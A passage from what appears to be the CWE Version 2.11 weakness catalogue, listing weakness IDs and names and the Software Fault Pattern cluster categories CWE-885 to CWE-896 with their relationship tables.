<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>252</td>
<td>Unchecked Return Value</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>253</td>
<td>Incorrect Check of Function Return Value</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>262</td>
<td>Not Using Password Aging</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>263</td>
<td>Password Aging with Long Expiration</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>266</td>
<td>Incorrect Privilege Assignment</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>267</td>
<td>Privilege Defined With Unsafe Actions</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>268</td>
<td>Privilege Chaining</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>270</td>
<td>Privilege Context Switching Error</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>271</td>
<td>Privilege Dropping / Lowering Errors</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>273</td>
<td>Improper Check for Dropped Privileges</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>283</td>
<td>Unverified Ownership</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>290</td>
<td>Authentication Bypass by Spoofing</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>294</td>
<td>Authentication Bypass by Capture-replay</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>296</td>
<td>Improper Following of a Certificate's Chain of Trust</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>299</td>
<td>Improper Check for Certificate Revocation</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>300</td>
<td>Channel Accessible by Non-Endpoint ('Man-in-the-Middle')</td>
<td>884</td>
</tr>
<tr>
<td>Nature</td>
<td>Type</td>
<td>ID</td>
<td>Name</td>
<td>Page</td>
</tr>
<tr>
<td>--------------</td>
<td>------</td>
<td>----</td>
<td>----------------------------------------------------------------------</td>
<td>------</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>301</td>
<td>Reflection Attack in an Authentication Protocol</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>304</td>
<td>Missing Critical Step in Authentication</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>306</td>
<td>Missing Authentication for Critical Function</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>307</td>
<td>Improper Restriction of Excessive Authentication Attempts</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>308</td>
<td>Use of Single-factor Authentication</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>312</td>
<td>Cleartext Storage of Sensitive Information</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>319</td>
<td>Cleartext Transmission of Sensitive Information</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>322</td>
<td>Key Exchange without Entity Authentication</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>323</td>
<td>Reusing a Nonce, Key Pair in Encryption</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>325</td>
<td>Missing Required Cryptographic Step</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>331</td>
<td>Insufficient Entropy</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>334</td>
<td>Small Space of Random Values</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>335</td>
<td>PRNG Seed Error</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>338</td>
<td>Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>341</td>
<td>Predictable from Observable State</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>347</td>
<td>Improper Verification of Cryptographic Signature</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>348</td>
<td>Use of Less Trusted Source</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>349</td>
<td>Acceptance of Extraneous Untrusted Data With Trusted Data</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>353</td>
<td>Missing Support for Integrity Check</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>354</td>
<td>Improper Validation of Integrity Check Value</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>364</td>
<td>Signal Handler Race Condition</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>367</td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>369</td>
<td>Divide By Zero</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>390</td>
<td>Detection of Error Condition Without Action</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>392</td>
<td>Missing Report of Error Condition</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>393</td>
<td>Return of Wrong Status Code</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>400</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion')</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>406</td>
<td>Insufficient Control of Network Message Volume (Network Amplification)</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>407</td>
<td>Algorithmic Complexity</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>408</td>
<td>Incorrect Behavior Order: Early Amplification</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>409</td>
<td>Improper Handling of Highly Compressed Data (Data Amplification)</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>444</td>
<td>Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>451</td>
<td>User Interface (UI) Misrepresentation of Critical Information</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>453</td>
<td>Insecure Default Variable Initialization</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>454</td>
<td>External Initialization of Trusted Variables or Data Stores</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>455</td>
<td>Non-exit on Failed Initialization</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>456</td>
<td>Missing Initialization of a Variable</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>467</td>
<td>Use of sizeof() on a Pointer Type</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>468</td>
<td>Incorrect Pointer Scaling</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>469</td>
<td>Use of Pointer Subtraction to Determine Size</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>476</td>
<td>NULL Pointer Dereference</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>478</td>
<td>Missing Default Case in Switch Statement</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>480</td>
<td>Use of Incorrect Operator</td>
<td>884</td>
</tr>
<tr>
<td>Nature</td>
<td>Type</td>
<td>ID</td>
<td>Name</td>
<td>Page</td>
</tr>
<tr>
<td>-----------------</td>
<td>------</td>
<td>-----</td>
<td>--------------------------------------------------------</td>
<td>------</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>483</td>
<td>Incorrect Block Delimitation</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>484</td>
<td>Omitted Break Statement in Switch</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>486</td>
<td>Comparison of Classes by Name</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>494</td>
<td>Download of Code Without Integrity Check</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>495</td>
<td>Private Array-Typed Field Returned From A Public Method</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>496</td>
<td>Public Data Assigned to Private Array-Typed Field</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>498</td>
<td>Cloneable Class Containing Sensitive Information</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>499</td>
<td>Serializable Class Containing Sensitive Data</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>502</td>
<td>Deserialization of Untrusted Data</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>521</td>
<td>Weak Password Requirements</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>546</td>
<td>Suspicious Comment</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>547</td>
<td>Use of Hard-coded, Security-relevant Constants</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>561</td>
<td>Dead Code</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>563</td>
<td>Assignment to Variable without Use (‘Unused Variable’)</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>567</td>
<td>Unsynchronized Access to Shared Data in a Multithreaded Context</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>587</td>
<td>Assignment of a Fixed Address to a Pointer</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>595</td>
<td>Comparison of Object References Instead of Object Contents</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>601</td>
<td>URL Redirection to Untrusted Site (‘Open Redirect’)</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>605</td>
<td>Multiple Binds to the Same Port</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>617</td>
<td>Reachable Assertion</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>621</td>
<td>Variable Extraction Error</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>627</td>
<td>Dynamic Variable Evaluation</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>628</td>
<td>Function Call with Incorrectly Specified Arguments</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>642</td>
<td>External Control of Critical State Data</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>648</td>
<td>Incorrect Use of Privileged APIs</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>667</td>
<td>Improper Locking</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>672</td>
<td>Operation on a Resource after Expiration or Release</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>674</td>
<td>Uncontrolled Recursion</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>676</td>
<td>Use of Potentially Dangerous Function</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>681</td>
<td>Incorrect Conversion between Numeric Types</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>698</td>
<td>Execution After Redirect (EAR)</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>708</td>
<td>Incorrect Ownership Assignment</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>756</td>
<td>Missing Custom Error Page</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>763</td>
<td>Release of Invalid Pointer or Reference</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>770</td>
<td>Allocation of Resources Without Limits or Throttling</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>772</td>
<td>Missing Release of Resource after Effective Lifetime</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>783</td>
<td>Operator Precedence Logic Error</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>786</td>
<td>Access of Memory Location Before Start of Buffer</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>788</td>
<td>Access of Memory Location After End of Buffer</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>798</td>
<td>Use of Hard-coded Credentials</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>805</td>
<td>Buffer Access with Incorrect Length Value</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>822</td>
<td>Untrusted Pointer Dereference</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>825</td>
<td>Expired Pointer Dereference</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>835</td>
<td>Loop with Unreachable Exit Condition (‘Infinite Loop’)</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>838</td>
<td>Inappropriate Encoding for Output Context</td>
<td>884</td>
</tr>
</tbody>
</table>
CWE-885: SFP Primary Cluster: Risky Values

Category ID: 885 (Category)  Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Risky Values cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-886: SFP Primary Cluster: Unused entities

Category ID: 886 (Category)  Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Unused entities cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>482</td>
<td>Comparing instead of Assigning</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>561</td>
<td>Dead Code</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>563</td>
<td>Assignment to Variable without Use ('Unused Variable')</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-887: SFP Primary Cluster: API

Category ID: 887 (Category)  Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the API cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-888: Software Fault Pattern (SFP) Clusters

View ID: 888 (View: Graph)  Status: Incomplete

Objective
CWE identifiers in this view are associated with clusters of Software Fault Patterns (SFPs).

View Data
View Metrics

<table>
<thead>
<tr>
<th></th>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td>703</td>
<td>1006</td>
</tr>
<tr>
<td>Views</td>
<td>0</td>
<td>33</td>
</tr>
<tr>
<td>Categories</td>
<td>79</td>
<td>245</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>624</td>
<td>720</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>0</td>
<td>8</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-889: SFP Primary Cluster: Exception Management

View Audience
Applied Researchers
Academic Researchers
Software Vendors

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td>C</td>
<td>885</td>
<td>SFP Primary Cluster: Risky Values</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>886</td>
<td>SFP Primary Cluster: Unused entities</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>887</td>
<td>SFP Primary Cluster: API</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>889</td>
<td>SFP Primary Cluster: Exception Management</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>890</td>
<td>SFP Primary Cluster: Memory Access</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>891</td>
<td>SFP Primary Cluster: Memory Management</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>892</td>
<td>SFP Primary Cluster: Resource Management</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>893</td>
<td>SFP Primary Cluster: Path Resolution</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>894</td>
<td>SFP Primary Cluster: Synchronization</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>895</td>
<td>SFP Primary Cluster: Information Leak</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>896</td>
<td>SFP Primary Cluster: Tainted Input</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>897</td>
<td>SFP Primary Cluster: Entry Points</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>898</td>
<td>SFP Primary Cluster: Authentication</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>899</td>
<td>SFP Primary Cluster: Access Control</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>901</td>
<td>SFP Primary Cluster: Privilege</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>902</td>
<td>SFP Primary Cluster: Channel</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>903</td>
<td>SFP Primary Cluster: Cryptography</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>904</td>
<td>SFP Primary Cluster: Malware</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>905</td>
<td>SFP Primary Cluster: Predictability</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>906</td>
<td>SFP Primary Cluster: UI</td>
<td>888</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>907</td>
<td>SFP Primary Cluster: Other</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-889: SFP Primary Cluster: Exception Management

Category ID: 889 (Category) Status: Incomplete

Description

Summary
This category identifies Software Fault Patterns (SFPs) within the Exception Management cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>960</td>
<td>SFP Secondary Cluster: Ambiguous Exception Type</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>961</td>
<td>SFP Secondary Cluster: Incorrect Exception Behavior</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-890: SFP Primary Cluster: Memory Access

Category ID: 890 (Category) Status: Incomplete

Description

Summary
This category identifies Software Fault Patterns (SFPs) within the Memory Access cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>970</td>
<td>SFP Secondary Cluster: Faulty Buffer Access</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>971</td>
<td>SFP Secondary Cluster: Faulty Pointer Use</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>972</td>
<td>SFP Secondary Cluster: Faulty String Expansion</td>
<td>888</td>
</tr>
</tbody>
</table>
### CWE-891: SFP Primary Cluster: Memory Management

**Category ID:** 891 (Category)  
**Status:** Incomplete

**Description**

**Summary**
This category identifies Software Fault Patterns (SFPs) within the Memory Management cluster.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>973</td>
<td>SFP Secondary Cluster: Improper NULL Termination</td>
<td>888 1386</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>974</td>
<td>SFP Secondary Cluster: Incorrect Buffer Length Computation</td>
<td>888 1386</td>
</tr>
</tbody>
</table>

### CWE-892: SFP Primary Cluster: Resource Management

**Category ID:** 892 (Category)  
**Status:** Incomplete

**Description**

**Summary**
This category identifies Software Fault Patterns (SFPs) within the Resource Management cluster.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888 1327</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>982</td>
<td>SFP Secondary Cluster: Failure to Release Resource</td>
<td>888 1389</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>983</td>
<td>SFP Secondary Cluster: Faulty Resource Use</td>
<td>888 1390</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>984</td>
<td>SFP Secondary Cluster: Life Cycle</td>
<td>888 1390</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>985</td>
<td>SFP Secondary Cluster: Unrestricted Consumption</td>
<td>888 1390</td>
</tr>
</tbody>
</table>

### CWE-893: SFP Primary Cluster: Path Resolution

**Category ID:** 893 (Category)  
**Status:** Incomplete

**Description**

**Summary**
This category identifies Software Fault Patterns (SFPs) within the Path Resolution cluster.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888 1327</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>979</td>
<td>SFP Secondary Cluster: Failed Chroot Jail</td>
<td>888 1388</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>980</td>
<td>SFP Secondary Cluster: Link in Resource Name Resolution</td>
<td>888 1388</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888 1388</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>213</td>
<td>DEPRECATED: Directory Traversal</td>
<td></td>
</tr>
</tbody>
</table>

### CWE-894: SFP Primary Cluster: Synchronization

**Category ID:** 894 (Category)  
**Status:** Incomplete

**Description**

**Summary**
This category identifies Software Fault Patterns (SFPs) within the Synchronization cluster.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888 1327</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-895: SFP Primary Cluster: Information Leak

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>986</td>
<td>SFP Secondary Cluster: Missing Lock</td>
<td>888 1391</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>987</td>
<td>SFP Secondary Cluster: Multiple Locks/Unlocks</td>
<td>888 1391</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>988</td>
<td>SFP Secondary Cluster: Race Condition Window</td>
<td>888 1391</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>989</td>
<td>SFP Secondary Cluster: Unrestricted Lock</td>
<td>888 1392</td>
</tr>
</tbody>
</table>

CWE-895: SFP Primary Cluster: Information Leak

Category ID: 895 (Category)  Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Information Leak cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888 1327</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888 1381</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>964</td>
<td>SFP Secondary Cluster: Exposure Temporary File</td>
<td>888 1383</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>965</td>
<td>SFP Secondary Cluster: Insecure Session Management</td>
<td>888 1383</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>966</td>
<td>SFP Secondary Cluster: Other Exposures</td>
<td>888 1383</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>967</td>
<td>SFP Secondary Cluster: State Disclosure</td>
<td>888 1384</td>
</tr>
</tbody>
</table>

CWE-896: SFP Primary Cluster: Tainted Input

Category ID: 896 (Category)  Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Tainted Input cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888 1327</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888 1392</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>991</td>
<td>SFP Secondary Cluster: Tainted Input to Environment</td>
<td>888 1394</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>992</td>
<td>SFP Secondary Cluster: Faulty Input Transformation</td>
<td>888 1395</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
<td>888 1395</td>
